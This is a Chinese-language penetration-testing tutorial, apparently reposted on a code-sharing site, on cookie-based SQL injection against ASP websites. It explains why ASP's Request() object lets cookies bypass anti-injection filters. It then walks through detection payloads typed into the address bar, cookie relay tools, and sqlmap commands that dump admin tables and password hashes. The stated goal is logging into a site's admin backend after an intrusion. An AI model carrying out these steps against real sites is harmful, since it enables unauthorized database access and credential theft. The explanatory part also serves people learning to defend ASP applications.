(滲透-摘錄) cookie 注入


2019211日  (滲透--摘錄1) cookie注入

 

拋開中轉工具直接搞定Cookie注入

 

最近在翻看危險漫步博客的時候,拜讀了一篇關於Cookie注入的文章,受益良多。文中詳細解析了Cookie注入漏洞存在的原因以及多種利用方法,非常適合大家來學習進步,但是我總感覺不夠完善,今天我就來補充一下。

 

想想看,大家平時在入侵中碰到Cookie注入漏洞的時候,多半采用的利用方法就是用”寂寞的刺蝟”寫的那款”注入中轉生成器”來生成一個ASP頁面。

 

然后將生成的頁面文件放在ASP環境下,構造出合適的url就可以直接注入了。方法雖然不是很復雜,但是有的時候,專門為了一個注入漏洞來搭建一個ASP環境也挺不方便的。

 

一、工具的簡單介紹

 

這里我就給大家介紹一款工具,可以直接搞定大部分Cookie注入漏洞,避免了因需要搭建ASP環境而帶來的麻煩。

工具名稱:鬼客、cookie全自動SQL注入工具

 

二、實踐演示

 

搭站,經分析得知,存在cookie注入漏洞的頁面是網站根目錄下的news_more.asp文件,我們在網站中找到類似的鏈接,習慣性地在該地址后面添加一個單引號,彈出了防注入警告,繼續提交-0-1,分別返回了不同的頁面。猜測該頁面存在Cookie注入漏洞。

 

接下來打開鬼客,填寫注入網址框、變量框、值框,填寫連接類型和特征字符。連接類型指該注入點是數字型還是字符型注入點,關於怎么判斷我就不多說了,無非是單引號符號閉合的問題,單純看數字還是字母有時候不是那么准確。特征字符指當前頁面存在而報錯頁面不存在的、可以起到區分作用的字符串。

 

填寫好之后點擊檢測按鈕,稍等一會,工具左下方提示存在注入。開始注入,點擊檢測表段,工具就開始用字典暴力破解表段了。。。左下方提示檢測表段完成,檢測出表段ADMIN;選中ADMIN,檢測字段;檢測內容。

 

有時候得到的密碼可能是經過加密的,那時候就需要相應的查詢解密。接下來是去后台測試注入到的賬號密碼是否正確,找到后台管理登錄進去。

 

 

Cookie注入原理以及cookie中轉注入

 

ASP中的Request對象

用來獲取客戶端提交的數據

集合

描述

ClientCertificate

包含了存儲於客戶證書中的域值(field values

Cookies

包含了HTTP請求中發送的所有的cookie

Form

包含了使用post方法由表單發送的所有的表單(輸入)值

QueryString

包含了HTTP查詢字符串中所有的變量值

ServerVariables

包含了所有的服務器變量值

 

使用方法一般是:request.[集合名稱] (參數名稱),比如獲取從表單中提交的數據時可以這樣寫:request.form(“參數名稱”),但ASP中規定也可以省略集合名稱,直接用這樣的方式獲取數據:request(“參數名稱”),當使用這樣的方式獲取數據時,ASP規定是按QueryStringFormCookiesServerVariables的順序來獲取數據的。

 

我們來研究一下怎樣情況下才會有Cookie注入

如果你學過ASP,你應該會知道Request.QueryString(GET)Request.Form(POST)

備注:客戶端向服務器提交HTTP請求,兩種HTTP請求方法GETPOST

·GET -從指定的資源請求數據

·POST -向指定的資源提交要被處理的數據

 

這就是我們用於讀取用戶發給Web服務器的指定鍵中的值

我們有時為了簡化代碼,會寫成 ID=Request(“ID”)

這樣寫法是簡單了,但問題就來了

Web服務器是先取GET中的數據,沒有再取POST中的數據,還是會取Cookies中的數據

 

防注入系統會檢測GETPOST中的數據,如果有特殊字符(這里當然有特殊字符啦),就禁止數據的提交,但防注入系統沒有檢測cookies中的數據

 

這樣,當我們使用request(“參數名稱”)方式獲取客戶端提交的數據,並且沒有對使用request.cookies(“參數名稱”)方式提交的數據進行過濾時,Cookie注入就產生了。

 

注入步驟:

 

一、判斷是否有Cookie注入漏洞

 

目標URL “http://www.xxx.com/x.asp?id=xxx”,首先去掉”id=xxx”,查看頁面顯示是否正常,如果不正常,說明參數在數據傳遞中有用,接着清空瀏覽器地址欄,輸入

 

javascript:alert(document.cookie=”id=”+escape(“123”)); 回車  //123保存在cookieID

會看到彈出一個對話框,內容是id=123

之后,你刷新一個網頁,如果正常顯示,表示該網頁是用Request(“ID”)這樣的格式獲取客戶端提交的數據,這樣就可以嘗試進行cookie注入。

 

在瀏覽器地址欄輸入

javascript:alert(document.cookie=”id=”+escape(“xx and 1=1”)); 回車

刷新目標頁面,如果正常顯示,可以再試下一步(如果不正常,則有可能被過濾掉了)

 

javascript:alert(document.cookie=”id=”+escape(“xx and 1=2”)); 回車

刷新目標頁面,如果未正常顯示,就說明存在cookie注入漏洞。

 

注:如果程序員是用Request.QueryStringRequest.Form獲取客戶端提交的數據的話,是無法利用cookie繞過防注入系統進行注入的,因為服務器程序直接從GETPOST中讀取數據,並不會去讀cookie中的數據,所以無法利用。

 

二、利用cookie中轉注入

 

·  手工注入,打開寂寞的刺蝟寫的注入中轉生成器,選擇cookie注入

填寫 注入鍵名、注入URL地址、來源頁、POST提交值jmdcw=xxx

點擊生成ASP頁面,得到jmCook.asp

然后將生成的頁面文件放在ASP環境(wwwroot目錄)下,安裝

看到右下角一閃一閃的圖標,表示web服務器正運行中

//搭建ASP環境的工具為netbox

構造出合適的url(http://127.0.0.1:端口號/jmCook.asp?jmdcw=xxx)

然后使用明小子或者啊D填寫構造好的url,就可以注入成功了。

·  ASP手工注入輔助工具 v1.3

填寫 注入點、變量、ID號,點擊中轉按鈕,會生成新的url

打開明小子,利用這個urlsql注入檢測。

 

或使用sqlmap直接做cookie注入,不用中轉。

備注:例如目標網站為:http://www.xxx.com/x.asp?id=1,則sqlmap命令為sqlmap.py -u “http://www.xxx.com/x.asp” --cookie “id=1” --level 2

 

 

sqlmapcookie注入獲取表段、字段、字段中的值

  1. cookie注入,獲取表段

Do you want to URL encode cookies values (implementation specific)? [Y/n] Y

Cookie parameter ‘id’ is vulnerable. Do you want to keep testing the others(if any)? [y/N] Y

Do you want to use common table existence check? [Y/n/q] Y

Please enter number of threads? [Enter for 1 (current)] 10

 

Sqlmap.py -u http://www.xx.com/show.asp --cookie “id=18” ---table --level 2

 

運行結果為:

Database : Microsoft_Access_xxxdb

[x tables]

+--------+

| xxx  |

| xxx  |

+--------+

 

  1. 獲取字段

 

Sqlmap.py -u http://www.xx.com/show.asp --cookie “id=18” --columns -T <table name> --level 2

 

運行結果為:

Database : Microsoft_Access_xxxdb

Table : admin

[x columns]

+----------+-----------+

| column|Type   |

+----------+-----------+

| user  |numeric |

| id    |numeric |

+----------+-----------+

 

  1. 獲取字段中的內容

 

Sqlmap.py -u http://www.xx.com/show.asp --cookie “id=18” --dump -T <table name> -C “字段名1,字段名2” --level 2

 

Database : Microsoft_Access_xxxdb

Table : admin

[1 entry]

+----------+-----------+

| user  |id      |

+----------+-----------+

| aaaa  |MD5enc |

+----------+-----------+


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM